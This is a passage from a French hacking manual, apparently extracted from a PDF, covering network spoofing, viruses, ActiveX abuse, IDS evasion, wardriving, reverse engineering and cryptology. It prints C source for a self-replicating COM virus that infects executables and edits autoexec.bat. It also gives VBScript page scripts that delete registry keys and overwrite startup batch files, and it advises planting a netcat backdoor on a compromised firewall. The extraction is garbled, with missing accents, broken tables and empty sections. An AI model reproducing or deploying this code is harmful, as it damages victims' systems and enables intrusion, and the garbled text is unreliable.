LIP spoofing consiste forger des paquets avec une adresse IP source ne nous
appartenant pas, notre adresse IP ne change pas ! contrairement ce que pourraient
croire certaines personnes.
En gros, on va truquer des paquets que nous enverrons notre cible.
D'
abord, voyons quelques concepts thoriques.
109
Il n'
existe pas de techniques toutes faites pour faire du spoofing car cela dpend de
l'
environnement dans lequel on se trouve :
- si le systme de scurit se trouve dans le mme segment rseau que
notre systme ou dans le mme rseau local, nous naurons qu forger
des paquets SYN et ACK, les envoyer, corriger leur cheksum
l'
aide dun sniffer, sniffer la rponse du systme cible, voir son
numro ACK, lincrmenter d'
une unit et renvoyer le paquet ACK
corrig dans un bref dlai. Cette technique, aussi simpliste qu'
elle soit
demande quelques rptitions et ne peut se faire d'
un coup.
- Si le systme cible est loign de notre systme, se trouve dans un autre
rseau : il peut y avoir deux solutions :
soit le systme cible renvoie un paquet SYN/ACK
l'
adresse spoofe. Il ne nous reste alors plus qu'
contrler
le systme qui appartient lIP spoof, y installer un
sniffer pour obtenir le paquet envoy par le systme cible
et renvoyer un paquet ACK corrig.
110
Parades :
-
il faudrait que les paquets qui circulent sur le rseau soit crypts,
empchez l'
identification du systme d'
exploitation tournant sur votre
systme en mulant ou en modifiant l'
implmentation de TCP /IP sur le
systme,
changez les techniques de filtrage habituel, par exemple, contre un jeu
de questions/rponses crypts entre les 2 systmes.
lUDP spoofing :
LUDP spoofing fonctionne peu prs comme lIP spoofing : il faut forger des
paquets truqus.
UDP est un protocole fonctionnant en mode dconnect au niveau 4 du modle OSI.
Que signifie en mode dconnect ? cela veut dire que UDP ne cherche pas
tablir des connexions entre les systmes, il se contente juste d'
un bon cheksum, d'
une
adresse IP source et de destination, dun port et des donnes.
Cela nous facilite grandement le travail car on n'
a qu'
forger les paquets UDP, y
insrer l'
IP source, lIP de destination, y mettre les donnes que l'
on veut et envoyer
le tout. Le cheksum est automatiquement dtermin.
Pour forger des paquets UDP, on peut utiliser RafaleX, Hping2, Winject
le MAC spoofing :
Cela consiste en la modification de l'
adresse de sa carte rseau.
le DNS spoofing :
111
Il existe 2 types de technique de DNS spoofing, nous en avons vu une (au chapitre sur
les outils et utilitaires automatiss) qui consiste faire des requtes un serveur DNS
sachant que normalement seuls les serveurs DNS secondaire sont censs faire ces
requtes.
La 2me technique les DNS spoofing a pour but de faire correspondre un nom dhte
au systme de notre choix.
L'
exemple le courant est le dtournement d'
une session pour rediriger la cible sur un
site de notre choix.
Cela est possible l'
aide de systmes de relais de paquets que l'
on aurait crs ou
contrls (cf les chapitre sur les dtournements de sessions) .
ARP spoofing :
D'
abord, voyons qu'
elle est la fonction du protocole ARP.
ARP est un protocole qui a pour but de rsoudre des adresses IP en adresses MAC.
Lorsqu'
une machine veut communiquer avec une autre machine dont elle connat lIP,
elle va envoyer une requte ARP tous les systmes d'
un rseau ( l'
aide du
broadcast) demandant l'
adresse MAC de IP spcifie.
La machine cible concerne va donc lui rpondre en lui donnant son adresse MAC.
Cette rponse va tre ensuite inscrite dans le cache ARP de la premire machine.
Toute cette manuvre est excute si et seulement si la machine A n'
a pas encore
d'
entre correspondant la machine B dans son cache ARP.
Toutes les attaques de ARP spoofing ont pour but de faire passer par le systme pirate
le trafic rseau de notre cible.
On va voir ensemble trois techniques de ARP spoofing qui consiste envoyer une
requte ARP (gnralement notre cible) pour lui dire que notre adresse MAC est
associ l'
adresse IP choisie (gnralement une passerelle par dfaut, un routeur ou
tout simplement le systme cible, si l'
on veut espionner le trafic entre deux systmes
bien dfinis) .
1re technique :
Elle n'
est possible que si le cache de la cible ne contient pas encore d'
entre
correspondant la machine dont on veut usurper ladresse IP. Cela va donc consister
en la cration d'
une entre dans le cache cible. Pour cela, il va falloir que l'
on forge un
paquet ARP associant notre adresse MAC l'
adresse IP a usurper. Puis, cette tape
finie, on va devoir envoyer ce paquet la cible, directement la cible (en unicast par
112
exemple). Le paquet ARP doit tre en mode who-as et avoir comme IP source,
celle a usurper, et comme adresse MAC source, la notre.
et si on faisait la course ?
Cette technique va demander rapidit d'
analyse et d'
envoi de paquets et de
nombreuses rptitions de notre part pour tre prts le jour J.
Lorsque la machine cible envoie un paquet au broadcast pour connatre l'
adresse
MAC de lIP spoofer, on va devoir renvoyer une rponse la machine mettrice, le
plus vite possible et invalider la machine devant normalement rpondre pour qu'
elle
ne puisse le faire.
Aprs avoir fait une de ces techniques, il faut activer (mettre 1) lIP forwarding.
Il existe divers programmes servant faire de lARP spoofing, en voici une liste :
Dsniff de Dug Song : qui a certains modules permettant de faire de
lARP spoofing et dautres attaques comme celle du MITM.
Jarpspoofing
arp-sk
Parades :
113
114
Vers
Troyen
virus rsident
virus polymorphe
virus furtif
Rtro-virus
virus compagnon
virus systme
On peut crer des virus avec nimporte quel langage, mais noublier pas que les vrais
programmeurs de virus prfrent le langage assembleur car il est plus proche du
115
systme et les programmes en assembleur sont de petites tailles. Donc que les futurs
crateurs de programmes infectant se mettent apprendre leur futur langage cl.
Certains pourraient dire que je donne les armes au public pour la cration de virus,
mais qu'
ils sachent que mon but premier n'
est pas la formation d'
apprentis
programmeurs des virus mais plutt de faire comprendre l'
enjeu des actions d'
un virus
pour que la communaut des internautes sache quoi elle est expose face ces petits
programmes.
116
la lutte anti-virale :
Nous allons observer les trois principales techniques de recherche anti-virale :
- analyse des signatures : qu'
est-ce que la signature d'
un programme ?
c'
est tout simplement une suite de donns (bits, caractres)
caractrisant le programme. Il en est de mme pour les programme
infectant.. Pour informations, les IDS fonctionnent sur ce principe
d'
analyse , ce qui est leur principal erreur car cette protection peut-tre
contournes.
- l'
analyse heuristique : c'
est une technique anti-virale plutt volue :
car elle consiste tudier et surveiller le comportement des
programmes. Ds qu'
un programme se comporte comme un virus, il le
dfinit comme un virus.
- l'
analyse spectrale : l'
antivirus va analyser ce que fait le programme
en recherchant la liste des instructions. Sil voit quune instruction
spcifique aux programmes infectant y est prsente, il met
automatiquement le programme en quarantaine.
Informations supplmentaires
la signature dun virus
117
La signature peut tre change (en faisant par exemple un virus polymorphe).
Pour vous donner un aperu de laspect dune signature, en voici 2 de virus connus :
Virus
Brain (cest un virus de secteur de
disquettes qui dtourne linterruption 13
pour se camoufler.)
Vendredi 13 (cest un virus rsident qui
infecte tout type dexcutable et dtruit
tous les vendredi 13 les excutables
lancs.)
Signature
8CC88ED88ED0BC00F0FBA0067CA2097C8B0E
077C890E0A7CE85700
1E8BECC746100001E80000582DD700B104D3E8
8CCB03C32D100050
TSR
Les programmes rsidents sont des applications particulires.
Ils sont dvelopps de la mme manire que les autres programmes mais ne finissent
pas de la mme manire que ces derniers.
De plus, le DOS rserve une mmoire spciale pour les TSR. Ce segment de mmoire
est protg contre lcriture par dautre programmes.
Pour crire un programme TSR, il faut suivre certaines rgles :
- vrifier sa prsence avant den charger une copie.
- il ne doit pas utiliser la pile dexcution des autres programmes (il doit
donc avoir sa propre pile dexcution).
- utiliser plus dinterruptions que de fonction DOS ou Windows.
Virus COM
Voici lextrait dun virus COM dvelopp pour cet ouvrage. Par mesure de scurit il
nest pas trs dangereux et nest pas donn en entier.
Son fonctionnement est le suivant : lorsquil est charg, il cr un fichier et crit
dedans, puis il ajoute une ligne au fichier autoexec.bat qui va imprimer le fichier
texte, cr auparavant, ds le dmarrage suivant du systme (si limprimante est
allume bien sr). Pour finir, il cherche des fichiers COM se trouvant dans le
rpertoire dans lequel il est, pour sy copier.
Il sera activ ds que lutilisateur du systme appellera un programme (ayant un
fichier COM du mme nom et dans le mme rpertoire) par lintermdiaire du shell
DOS.
#DEFINE BYTE xxxx
compilation
// taille du virus la
118
copy()
{
FILE *point, *new_point;
int next;
struct ffblk infect;
char pres, buffer[BYTE];
pres = _argv[0];
next = findfirst("*.COM", &infect, 0);
point = fopen(pres, "rb");
new_point = fopen(infect.ff_name, "rb+");
fread(buffer, BYTE, 1, point);
fwrite(buffer, BYTE, 1, new_point);
fcloseall();
return 0;
}
write_batch()
{
FILE *file, *txt;
char chaine, buff[];
size_t taille;
int vtaile;
chaine = "COPY C:\FICHIER.TXT PRN";
file = fopen("C:\AUTOEXEC.BAT", "rt+");
txt = fopen("C:\FICHIER.TXT", "w+");
fprintf(txt, "Vous vous tes fait avoir par le virus
COM de KHAALEL !!!");
taille = strlen(chaine);
vtaille = (int) taille;
vtaille -= vtaille * 2;
if (vtaille < 0)
{
fseek(file, vtaille, SEEK_END);
fread(buf, vtaille, 1, file);
buf[vtaille] = 0;
if (strcmp(buf, chaine))
{
fseek(file, 0, SEEK_END);
fprintf(file, chaine);
}
fcloseall();
119
return 0;
}
main() {
write_batch();
copy()
return 0;
}
Fichiers BAT
Avant de lire la suite, fates un saut vers lannexe sur les commandes DOS pour
pouvoir les connatre.
Voici 4 fichiers BAT : les 3 premiers sont des virus, le dernier est juste un utilitaire
qui affiche les excutables et les fichiers COM dun systme sous Windows 2000. Si
vous voulez que ce dernier fonctionne sous les autres systmes Windows, vous allez
devoir modifier where /r C:\ *.[extension] par DIR
C:\*.[extension] /A:-D /S .
120
dir/p c:\windows\
echo Au revoir!!!
121
ActiveX
Il ne se passe un mois sans que lon trouve une nouvelle faille dans la technologie de
Microsoft : ActiveX.
Faire un cours sur ActiveX et sur la cration dune page web dpasse le cadre de ce
livre, on verra seulement certaines failles ActiveX permettant de faire diffrentes
actions sur un systme (vous pourrez trouver dautres codes sur internet).
Tous les codes suivant sont en VBScript.
Comment supprimer une cl de la base de registre
<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_LOCAL_MACHINE\xxxxx\"
</script>
</body>
</html>
122
<html>
<body>
<script Language="VBScript">
if location.protocol = "file:" then
Set WshShell = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
HPath = Replace(location.href, "/", "\")
HPath = Replace(HPath, "file:\\\", "")
HPath = FSO.GetParentFolderName(HPath)
Set TRange = document.body.createTextRange
Set RealLink =
WshShell.CreateShortcut("C:\WINDOWS\bureau\site")
RealLink.TargetPath = "http://www.site.com"
RealLink.Save
end if
</script>
</body>
</html>
123
WshShell.RegDelete
"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Mon
itor\"
WshShell.RegDelete
"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\PCM
IA\"
WshShell.RegDelete
"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Mou
se\"
</script>
</body>
</html>
On peut encore faire beaucoup de choses comme enlever des lments du menu
Dmarrer, dsinstaller des programmes, crire des cls dans la base de registre ou les
modifier
Maintenant, voici comment crire un fichier bat sur un PC :
<html>
<body>
<script Language="VBScript">
if location.protocol = "file:" then
Set FSO =CreateObject("Scripting.FileSystemObject")
HPath = Replace(location.href, "/", "\")
HPath = Replace(HPath, "file:\\\", "")
HPath = FSO.GetParentFolderName(HPath)
Set TRange = document.body.createTextRange
Set BatFile = FSO.CreateTextFile("c:\Windows\xxxx.bat", 2,
False)
BatFile.WriteLine ""
BatFile.WriteLine "Ici le fichier bat voulu (son contenu)"
BatFile.Close
end if </script>
</body>
</html>
xxxx.bat est un fichier .bat qui peut exister (comme autoexec.bat) cela entranera donc
son crasement et lcriture de notre fichier .bat la place : au prochain dmarrage
nos commandes seront excutes. On peut aussi crer un nouveau fichier .bat
124
Sites sensibles
Internet
Intranet local
Pour information, on peut configurer ces zones de scurits grce Internet Explorer
par le biais de Options Internet du menu Outils. Par mesure de scurit, on ne peut
configurer la zone Poste de travail avec Internet Explorer (heureusement, cest
notre disque dur).
De plus, la zone Poste de travail est la plus permissive.
Le but des vulnrabilits de ce type est dexcuter ce que lon veut dans la zone de
scurit Poste de travail .
Avant de continuer, sachez que chaque zone a ses protocoles : http:// pour Internet,
file:// pour Poste de travail
Alors, pour contourner ces zones, il faut utiliser des fonctions de changements de
zones qui ne sont pas contrles.
Voici un bout de code qui peut permettre le
contournement (il ne peut fonctionner seul):
opener.location = " file:" ;
vRef = opener.location.assign;
Le chapitre prend fin, vous venez de dcouvrir une nouvelle facette du piratage web
grce des vulnrabilits que Microsoft na pas encore patch lheure o se livre est
crit.
Certains pirates les utilisent pour diverses actions, comme placer un virus dans un
systme sans que lutilisateur ne fasse quelque chose (il doit quand mme se rendre
sur la page contenant le code). Certains crateurs de sites pornographiques les
utilisent aussi pour placer leurs kits de connexions sur votre systme ds que vous
chargez les pages de leurs sites.
Parades :
-
installez un firewall,
installez un antivirus et le mettre rgulirement jour,
ne pas se fier aux apparences. Car les virus vont adopter n'
importes
quelles formes attrayantes et attirantes pour que vous les chargiez,
ne pas trop faire confiance lantivirus install par dfaut dans
Windows XP.
125
126
Piratage de composants
rseaux
127
IDS
Dans ce chapitre, nous allons nous intresser aux systmes de dtection d'
intrusion
(IDS) . Nous allons voir en quoi ils consistent puis comment les pirates russissent
contourner ces systmes de dtection.
les IDS :
Comme en tmoigne son nom, un IDS est un systme de dtection d'
intrusion pour les
systmes Unix/Linux ( l'
heure o ce livre est rdig en tout cas ). Les IDS ont 2
types d'
analyse :
- Lanalyse des signature : lIDS va capturer des paquets en direction du
systme ou du rseau sur lequel il est plac. Puis il va les comparer
avec les lments de sa base de donnes de signatures dattaques. Si la
comparaison s'
avre positive, lIDS va alerter l'
utilisateur o
l'
administrateur du rseau pour lui signaler une attaque. Si la
comparaison s'
avre ngative, lIDS ne fait rien.
- L'
analyse heuristique : comme pour les antivirus, lIDS va analyser le
comportement des paquet reus, d'
un programme install sur le systme
et pleins dautres lments pour essayer de dtecter des comportements
anormaux.
Il existe 2 type d IDS :
- les IDS rseau (NIDS) qui sont constitus de deux parties, un programme
qui va capturer les paquets circulant sur le rseau et un poste charg
d'
analyser le paquet captur. Le programme de capture peut tre aussi
bien un sniffer ou une carte rseau en mode promiscuit (cf le chapitre
sur le sniffing) .
- les IDS personnel (HIDS) que l'
on installe sur un ordinateur, comme des
antivirus. Ils sont constitus d'
un lment qui utilise aussi les deux types
d'
analyses cites prcdemment. Les HIDS utilisent plusieurs techniques
de dtection : laudit de systmes la recherche de fichiers ayant t
corrompus ou modifis, l'
installation d'
un jeu de fichier log (journaux
systmes) journalisant les faits et gestes des programmes et utilisateurs
de l'
ordinateur.
Termes en rapport avec les IDS :
- NIDS : IDS reseau
- HIDS : IDS personnel
- faux positif : fausses alertes envoyes par lIDS
- faux ngatifs : vritables attaques non signales par lIDS
128
First match et multiple match correspondent des modes dactivits dun IDS, cest-dire que lIDS peut alerter ds la premire apparition d'
une attaque ou la suite de
plusieurs apparition d'
une attaque.
fragmentation :
Certains IDS ont un trs grand problme. Ils assemblent avec difficults des paquets
fragments. C'
est pour cela quen jouant un peu avec les paquets que l'
on aura
fragment, on pourrait peut-tre contourner un IDS (cela touche surtout les IDS
rseau) .
Voici certains exemples de manipulation des paquets fragments :
- on les envoie dans le dsordre en commenant par le milieu ou par le
paquet de la fin
- on envoie des paquets fragments en dupliquant l'
un des paquets
- on envoie simultanment plusieurs paquets.
DoS :
On peut invalider le systme de dtection l'
intrusion l'
aide d'
une attaque DoS. On
peut par exemple lancer des simulateurs d'
attaques ou crer une base de donnes
d'
attaques (en saidant de programmes que l'
on peut trouver sur Internet) pour qu'
ils
balancent leurs attaques contre les systmes de dtection d'
intrusion (il faut voir grand
comme 20000 attaques pratiquement simultanes et rgulires) . Cela peut aussi
servir cacher une vraie attaque que lon aurait confectionn.
129
encapsulation :
On peut encapsuler des attaques dans des paquets forgs et anodins. Les paquets
peuvent tre du mme protocole ou de protocoles diffrents. Cela peut servir si
ladministrateur a mis une bascule de protocole dans la DMZ. Cela reviendrais faire
du tunneling.
le polymorphisme :
Le polymorphisme est trs utilis en virologie informatique ou lors de la cration
d'
attaques de type dpassement de tampon distance. Pour plus informations sur cette
technique, rfrez-vous au chapitre sur les virus informatique. Internet est aussi une
mine d'
or sur le polymorphisme des virus.
Pour ceux voulant attaquer un IDS laide dun shellcode (comme pour les attaques
par dpassement de tampons, vous pouvez utiliser ADMutate de K2 qui utilise le
polymorphisme pour cacher les shellcodes ).
ASCII et UNICODE :
Comme les IDS sont bass sur l'
analyse des signatures. Pour contourner cette
protection, il suffit alors de refaire l'
attaque en modifiant son code : cela peut passer
par la transformation du code d'
attaque en quivalent UNICODE (cf les attaques
contre les CGI)
130
le changement :
Le plus simple est de changer d'
attaque et de ne pas affronter lIDS de face. Faire par
exemple une attaque par dpassements de tampons
Le scanner de CGI Whisker de Rain Forest Puppy intgre quelques techniques contre
les IDS. Analyser son code source peut grandement aider.
Parades :
131
132
FLAG
NULL
FIN
133
REPLY
None
None
listen
listen
listen
closed
closed
closed
closed
closed
RST
ACK
SYN
RST
NULL
ACK
SYN
FIN
None
RST
SYN/ACK
None
RST/ACK
RST
RST/ACK
RST/ACK
balayage :
Si le systme de filtrage de paquets bloque et ignore les paquets ICMP et UDP, vous
pouvez utiliser un outil de scan comme nmap (en dsactivant le sondeur ping ICMP
bien sur), hping, et firewallk (qui utilise une technique proche de traceroute).
ICMP :
Le protocole ICMP peut nous tre dun grand secours dans notre qute, pour cela, il
faudrait tudier les diffrents codes ICMP .
les bannires :
Scanner les ports du systme de filtrage pour obtenir son nom puis faire une
recherche sur les failles spcifiques ce systme de filtrage de paquets.
134
placer un backdoor :
Aprs avoir lu les deux premires parties de ce chapitre, vous devriez tre capable
d'
identifier un systme de filtrage de paquet, d'
obtenir des informations sur les
systmes quil protge.
Disons maintenant que nous avons russi infiltrer le systme de filtrage de paquets.
Je pense que vous voudriez pouvoir revenir aisment sur le systme (quel qu'
il soit)
conquis? et bien pour cela, on devrait y installer une porte ouverte avec le logiciel
netcat ou un cheval de troie
astuce :
Utilisez le systme de filtrage de paquets et comme proxy pour le web. L, vous
pouvez tre sr d'
tre intraable. Bien sr, masquez votre activit aux yeux de le
administrateur qui appartient le systme de filtrage de paquets.
Parades :
-
135
activez trs peu de port sur votre systme de filtrage de paquets (le port
80 et le port 53 suffisent gnralement)
136
137
Piratage arien
les rseaux sans-fil :
Le 802.11 est une technologie permettant de faire communiquer des PC entre eux ,
distance (sans fil et autres supports que les ondes radio et des ondes infrarouges) et
l'
aide des cartes rseaux adaptes. Mais les techniques utilises par ces rseaux
dpendent de la lgislation en cours dans le pays (en France, la bande de frquence et
de 2,4 GHZ pour les particuliers et les entreprises crant un rseau wifi).
Voyons maintenant les topologie (ou structures) des rseaux 802.11. Pour l'
instant, il
en existe 2 : l'
infrastructure et le ad hoc.
l'
infrastructure est constitue de points d'
accs qui vont jouer le rle
dun switch/hub entre les PC sans fil et qui sont gnralement
connects un rseau cbl. Cette architecture peut faire penser
une architecture client /serveur o les serveurs peuvent tre relis
entre eux.
le ad hoc est une architecture particulire car elle est seulement
quips de PC ayant des cartes rseau adapt au sans-fil et tant
auto-configurable, cest--dire, que les PC dans le rseau se
reconnaissent entre eux et schangent de donnes. Chaque nuds
du rseau devrait aussi pouvoir servir de routeur.
Pour plus dinformations sur les rseaux sans-fil, je vous conseille de faire des
recherches sur internet ou de vous procurer des livres sur ce sujet comme 802.11 et
les rseaux sans-fil aux ditions Eyrolles.
138
faut nous procurer un sniffer (comme TCPdump pour Linux et Ethereal pour
Windows) .
Maintenant voyons comment se pratique le wardriving. D'
abord il nous faut du
matriel adapt :
un ordinateur portable
une carte rseau adapte et non configure
un GPS
des antennes omni-directionnelles ou bi-directionnelles.
Puis les logiciels adapts :
un scanner de rseau sans-fil comme Netstumbler (www.netstumbler.com)
pour Windows, Airtraft (sourceforge.net/projects/airtraf), Kismet
(www.kismetwireless.net) et WiFiScanner
(www.hsc.fr/ressources/outils/wifiscanner/) pour Linux. On lactivera pour
rechercher les rseaux sans fil,
un sniffer, vous pouvez prendre votre habituel sniffer,
un cracker Wep comme Airsnort, pour cracker les paquets qui seraient
ventuellement crypts avec le WEP,
un logiciel de cartographie comme Stumverter qui envoie les diffrents
lments d'
un rseau sans fil. Il lui faut Netstumber, Mappoint, et un GPS
pour fonctionner.
Vous devez vous demander quoi peut bien servir le scan de rseaux sans fil ?
Et bien couter (sniffer) les rseau pour savoir les informations qui y circulent,
facilement dtourner une connexion dans le but de surfer, jouer , passer des
protections par IP
Il peut y avoir plusieurs autres applications et avantages de cette technique.
Maintenant, passons la scurisation des rseaux sans-fil.
En premier lieu, activez le WEP qui va crypter les informations qui circulent sur votre
rseau wifi, vous pouvez aussi utiliser d'
autres utilitaires (comme SSH) qui sont
utiliss dans les rseaux cbls.
Vous pouvez-vous, si vous utilisez la topologie infrastructure, mettre en place un
filtrage dadresses MAC, dadresses IP ou placer des ACL (Access Control List) . La
meilleure solution en plus des prcdentes serait daffecter des ID au point d'
accs,
aprs cette tape, on configure le rseau dans le but que seul les postes connaissant
cet ID puisse se connecter au point d'
accs associs.
Pour plus de renseignements, procurez vous un livre sur les rseaux sans-fil qui vous
indiquera les diffrents moyens qui soffrent vous pour la scurisation de rseaux
sans-fil.
139
140
141
142
143
Piratage logiciel
144
145
la comparaison (diffing) :
La comparaison consiste dtecter la diffrence entre 2 supports d'
criture : les
fichiers, les programmes (sous la forme de code source) mais aussi des bandes,
disques et plein d'
autres supports.
Nous nallons pas nous attarder sur la thorie du diffing car son but est la
comparaison des deux lments, passons directement la pratique qui est plutt
simple mais peut-tre d'
un grand secours aussi bien pour les pirates (scnario 1) que
pour les analyseurs de codes sources (scnario 2).
Je vais vous donner des scnarios d'
utilisation de la comparaison. Pour savoir
quelles situations elles correspondent, remontez de quelques lignes.
Scnario 1 :
Le pirate a pntr un systme important mais son but tait de dcouvrir le mot de
passe d'
un programme d'
administration comme VNC.
Ladministrateur penser effacer les informations pouvant porter atteinte
l'
intgrit de son rseau. Le pirate se retrouvent donc en face dun problme, il ne
peut lancer dattaques de cracking de mots de passe sur chaque systme client sinon il
pourrait veiller des soupons, il a aussi fouill de fond en comble le systme et ne
trouve pas les fichiers de connexion de VNC ( disons que le administrateur les
conserve sur une disquette et les dplace dans le rpertoire de VNC chaque fois qu'
il
veut se connecter sur un systme ).
Le pirate ne peut installer un sniffer car il se doute que le administrateur a d installer
un programme dtectant les sniffers ou les cartes rseau en mode promiscuit (comme
Anti-sniff du Lopht) .
Le pirate a donc dcid de travailler avec la mmoire du systme.
Il va crer un module ou un programme qui va se charger en mmoire lors du
chargement du logiciel VNC et qui s'
occupera de faire des copies de la mmoire
pendant que le programme d'
administration est en marche.
Il aura la fin une srie de copies de la mmoire et va chercher les diffrences entre
elles dans le but d'
obtenir les mots de passe.
Il peut pour saider crer un algorithme de tri des fichiers qui va slectionner deux
fichiers chaque boucle et les comparer
Scnario 2 :
146
les commandes :
Windows nous fournit la commande fc pour la comparaison des fichiers, elle
se trouve dans le rpertoire C:\Windows\Command et est accessible par l
invite de commandes Dos.
Ces options sont :
FC [/A] [/C] [/L] [/LBn] [/N] [/T] [/U] [/W] [/nnnn]
[lect1:][chemin1]fichier1
[lect2:][chemin2]fichier2
FC /B [lect1:][chemin1]fichier1 [lect2:][chemin2]fichier2
/A Affiche la 1re et dernire ligne de chaque ensemble de
diffrences.
/B Effectue une comparaison binaire.
/C Ignore la casse.
/L Compare les fichiers en tant que texte ASCII.
/LBn Dfinit le nombre maximal de diffrences conscutives comme
gal
au nombre de lignes spcifi.
/N Affiche les numros de ligne pour une comparaison ASCII.
/T Ne convertit pas les tabulations en espaces.
/U Compare les fichiers en tant que fichiers texte UNICODE.
/W Comprime les blancs (tabulations et espaces) pour la
comparaison.
/nnnn Spcifie le nombre de lignes conscutives qui doivent
correspondre
aprs une diffrence.
147
Unix, quant lui, nous fournit la commande diff qui sert comparer des
fichiers textes.
Voici un exemple de la commande fc sous Windows :
Jai plac dans un rpertoire ( c:\exemple\ ), 2 listes de mots chinois (leurs
phontiques en fait) qui ont quelques diffrences. Pour mettre en vidence leurs
diffrences, nous allons utiliser la commande fc.
Premirement, nous allons utiliser la commande dir sur le rpertoire o se trouvent les
fichiers pour tre sur quils ne sont pas semblables.
148
Nous voyons clairement que dans la liste 2 (qui est en fait une mise jour) les mots
nai, nan, niao, nie, nin, ning, niu, no, nou ont t ajout.
Pour connatre leur signification, consultez un ouvrage de conversion francaischinois.
diverses techniques :
Il existe pleins dautre techniques de comparaison des fichiers dont je nai pas parl
comme la somme de contrle et des commandes permettant de dcouvrir les derniers
fichiers manipuls mais cela n'
entrent pas dans le sujet du chapitre.
le reverse enginneering
Le reverse enginneering est une technique qui consiste analyser un programme sous
la forme dexcutable et dont on a pas le code source. Le reverse enginneering peut
aussi bien servir patcher un programme dont l'
utilisation est limite dans le temps
ou dans le nombre d'
essais, il peut aussi servir scuriser un logiciel ou obtenir son
listing en assembleur dans le but de le modifier un peu ou de ladapter un
environnement spcial.
Il existe 2 manires d'
analyser un programme :le Dead Listing ou le Live Approach.
149
Le Dead Listing consiste dsassembler le programme pour obtenir son listing (code
source) en assembleur puis analyser ce dernier. Alors que le Live Approach consiste
tracer l'
excution du programme en mettant en place des points darrts (bpx,
bpm)
Maintenant, voyons les programmes utiliss pour faire du reverse enginneering.
En premier, il faut un :
- dsassembleur qui va d-compiler le programme pour nous donner le
listing de l'
excutable,
- un dbogueur qui va permettre de tracer l'
excution d'
un programme,
- un diteur hexadcimal; comme son nom lindique, il va nous permettre
d'
accder au fichier binaire de l'
excutable,
- un diteur de fichiers PE qui va nous permettre d'
obtenir quelques petites
informations sur l'
excutable,
- un logiciel nous permettant de connatre les processus en mmoire
(comme Procdump),
- il faudrait aussi un livre sur le langage assembleur, sur les symboles
,utiliss par Windows et sur ses fonctions systme,
- un loader.
Voici quelques logiciels et outils importants :
- dsassembleurs : Windasm
UltraEdit
150
XVI32
diteurs de fichiers PE :
PE Explorer
151
Patcher :
CodeFusion
152
153
154
le polymorphisme :
Le polymorphisme qui consiste modifier l'
aspect du code peut aussi tre utilis pour
rendre illisible le code pour un ventuel cracker. Cela peut passer par la cration d'
une
routine de chiffrement et de dchiffrement du code de l'
excutable.
Parades :
Il n'
y a pas de parade proprement dite contre l'
analyse les programmes l'
aide de la
rtro ingnierie. Car cela peut aller du cryptage du programme l'
aide PE encrypteurs
l'
utilisation de code anti-debbugging.
155
156
Cryptologie
157
CHcl(xt) = yt
DEcl(yt) = xt
DEcl(CHcl(xt)) = xt
158
).
le chiffrement affine :
Le chiffrement affine et le chiffrement par dcalage ont la mme souche, le mme
base : la substitution.
Pour le comprendre leurs similitudes, analysons les fonctions de cryptage et
dcryptage du chiffrement affine.
Soit xt un caractre du texte clair et yt un caractre du texte chiffr :
- CHcl(xt) = a.xt + b mod 26
- DEcl(yt) = 1/a (yt b) mod 26
Avant de terminer cette partie sur le chiffrement affine, nous allons voir la manire
dont on calcul le nombre de cls possibles pour crypter un message avec ce
chiffrement. Tout dpend de m car, dans un premier temps, il va nous falloir calculer
les valeurs possibles de a lorsque le pgcd (a, m) = 1 (aidez vous du thorme de
Bezout) . Il ne faut retenir que les valeurs de a comprise entre [ 0, m-1 ]. Ensuite il
va falloir compter le nombre de valeurs retenues. Pour finir, il faut multiplier le
rsultat prcdent par m. Le produit est le nombre de cls possibles.
Gnralement m = 26 ( les 26 lettres de l'
alphabet ).
chiffrement en chane :
Dans les chiffrements classiques, on utilise une cl statique pour chiffrer et dchiffrer
chaque caractre des textes. Dans un chiffrement en chane, la cl change chaque
caractre car il y a eu une gnration d'
un nombre de cls gale au nombre de
caractres dans le message. Mathmatiquement, cela se traduit par
CHcl(xt) = yt
159
et
DEcl(yt) = xt
et
DEk(yt) = xt
pour les chiffrements en chane; soit k une cl changeant chaque caractre donc
chaque utilisation de la cl.
Il existe 2 types de chiffres en chane : le chiffrement synchrone et le chiffrement
asynchrone.
Pour plus d'
informations sur les diffrents types de chiffrement et sur la cryptographie
en gnral, rfrez-vous des livres traitant de ce sujet. Car cela dpasse le cadre de
ce livre.
Cryptanalyse
La cryptanalyse est un domaine de la cryptologie o l'
on essaie de trouver une faille
dans un systme cryptographique dans le but de dcouvrir la cl utilise ou de lire le
texte clair. La cryptanalyse est aussi utilise pour vrifier la sret d'
un algorithme
cryptographique.
La cryptanalyse d'
un algorithme cryptographique peut dbuter partir de n'
importe
quel support, les plus connus sont :
- texte chiffr connu: o il va falloir analyser le texte dans le but de
dcouvrir sa correspondance en clair l'
aide de techniques de
cryptanalyse que nous allons voir,
- texte clair et chiffre connu: o l'
on va essayer l'
aide des 2 textes de
dcouvrir la cl et lalgorithme,
- texte clair et un accs direct ou indirect l algorithme: dans le but de
comprendre le fonctionnement de l algorithme,
- texte chiffr choisi et un accs direct ou indirect l'
algorithme: pour
pouvoir comprendre le fonctionnement de lalgorithme.
Maintenant, nous allons voir deux techniques de cryptanalyse :
-
l'
analyse des frquences : il va falloir compter le nombre d'
apparitions de
chaque lettre de l'
alphabet dans le(s) texte(s) chiffr(s) et les comparer
avec les probabilits d'
apparition de chaque lettre de la langue du texte
clair en se basant sur des tableaux de frquences.
160
l'
analyse diffrentielle : elle ne peut tre pratique quen possession ou en
ayant un accs directe ou indirecte l'
algorithme cryptographique, il va
falloir choisir un texte clair comprenant, au mieux, toutes les lettres de
l'
alphabet et voir aprs passage dans l'
algorithme sa correspondance en
crypt.
La stganographie
La stganographie est un domaine de la cryptographie o lon va cacher les donnes
transmettre une/des personne(s) dans des fichiers qui paraissent anodins (comme les
images)
Pour crire des messages dans une image, il va falloir un diteur hexadcimal et
limage choisie. Ouvrez limage avec lditeur hexadcimal, recherchez les zones de
padding (une suite de chiffres 0 dans la zone hexadcimale) et remplacez-les par le
message voulu (cela peut parfois dgrader limage).
Cela peut aussi marcher avec des excutables (qui contiennent de trs grandes suites
de 0).
161
Pour apporter un peu plus de scurit nos messages cachs, vous pouvez crypter ces
derniers avant de les cacher.
Vous pouvez maintenant envoyer des messages cachs (et crypts).
Pour pouvoir retrouver le message, votre destinataire va devoir ouvrir limage (ou
